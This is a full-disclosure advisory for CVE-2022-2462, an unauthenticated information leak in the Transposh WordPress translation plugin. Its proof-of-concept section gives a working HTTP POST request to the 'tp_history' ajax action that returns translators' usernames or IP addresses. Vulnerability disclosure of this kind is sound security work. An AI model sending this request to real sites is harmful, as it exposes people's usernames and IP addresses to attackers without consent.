full-disclosure - [FD] [CVE-2022-2462] Transposh <= 1.0.8.1 “tp_history” Unauthenticated Information Disclosure

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Message-ID: <A2CCC878-3D86-45E0-BA9B-10DFEC8BB630@rcesecurity.com>
Date: Fri, 22 Jul 2022 14:48:58 +0000
From: "Julien Ahrens (RCE Security)" <info@...security.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [CVE-2022-2462] Transposh <= 1.0.8.1 “tp_history” Unauthenticated Information Disclosure

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Exposure of Sensitive Information to an Unauthorized Actor [CWE-200]
Date found:     2022-07-13
Date published: 2022-07-22
CVSSv3 Score:   5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE:            CVE-2022-2462

2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.

3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below

4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)

5. VULNERABILITY DETAILS
========================
Transposh offers an ajax action called "tp_history" which is intended to return
data about who has translated a text given by the "token" parameter. However, the
plugin also returns the user's login name as part of the "user_login" attribute.

Successful exploits can allow an unauthenticated attacker to leak the WordPress
username of translators. If an anonymous user submitted the translation, then the
user's IP address is returned.

6. PROOF OF CONCEPT
===================
The following Proof-of-Concept returns the information of the translated text
"Calendly URL":

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_history&token=Calendly%20URL&lang=en

7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.

8. REPORT TIMELINE
==================
2022-07-13: Discovery of the vulnerability
2022-07-13: CVE requested from WPScan (CNA)
2022-07-18: No response from WPScan
2022-07-18: CVE requested from Wordfence (CNA) instead
2022-07-18: Sent note to vendor
2022-07-18: Wordfence assigns CVE-2022-2462
2022-07-20: Vendor states that there is no update planned so far
2022-07-22: Public disclosure

9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

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